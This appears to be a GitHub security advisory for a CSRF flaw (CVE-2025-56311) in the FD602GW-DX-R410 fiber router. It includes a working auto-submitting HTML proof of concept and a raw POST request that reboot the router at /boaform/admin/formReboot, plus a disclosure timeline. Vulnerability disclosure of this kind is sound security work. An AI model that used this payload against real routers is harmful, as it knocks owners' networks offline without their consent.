wrathfuldiety/cve-2025-56311CSRF vulnerability in FD602GW-DX-R410 router allows remote attackers to reboot the device via a crafted POST request to /boaform/admin/formReboot when an admin is authenticated.
Proof of Concept and Security Advisory for a Cross-Site Request Forgery (CSRF) vulnerability in the FD602GW-DX-R410 fiber router’s admin interface (Firmware V2.2.14). The advisory outlines the impact, attack vector, and recommendations for remediation.
CSRF vulnerability in FD602GW-DX-R410 router allows remote attackers to reboot the device via a crafted POST request to /boaform/admin/formReboot when an admin is authenticated.
A Cross-Site Request Forgery (CSRF) vulnerability was discovered in the FD602GW-DX-R410 fiber router’s web-based admin console (Firmware V2.2.14). The /boaform/admin/formReboot endpoint allows POST requests to trigger a full device reboot without CSRF tokens or origin validation. If an authenticated administrator visits a malicious page, the router can be remotely rebooted without consent.
/boaform/admin/formReboot<html>
<!-- CSRF PoC - generated by Burp Suite Pro -->
<body>
<form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
<input type="hidden" name="postSecurityFlag" value="+65535" />
<input type="submit" value="Submit" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
postSecurityFlag=+65535
HTTP 200 OK; Router reboots immediately.
| Date | Action |
|---|---|
| Jun 2025 | Vulnerability discovered |
| Jun 2025 | Attempted responsible disclosure (no reply) |
| Jul 2025 | CVE ID requested from MITRE |
| Jul 2025 | Advisory prepared and pending publication |
| Sep 2025 | CVE Assigned, Advisory made public |
This advisory is provided for educational and security awareness purposes. The author bears no responsibility for misuse. All testing was performed in a controlled environment.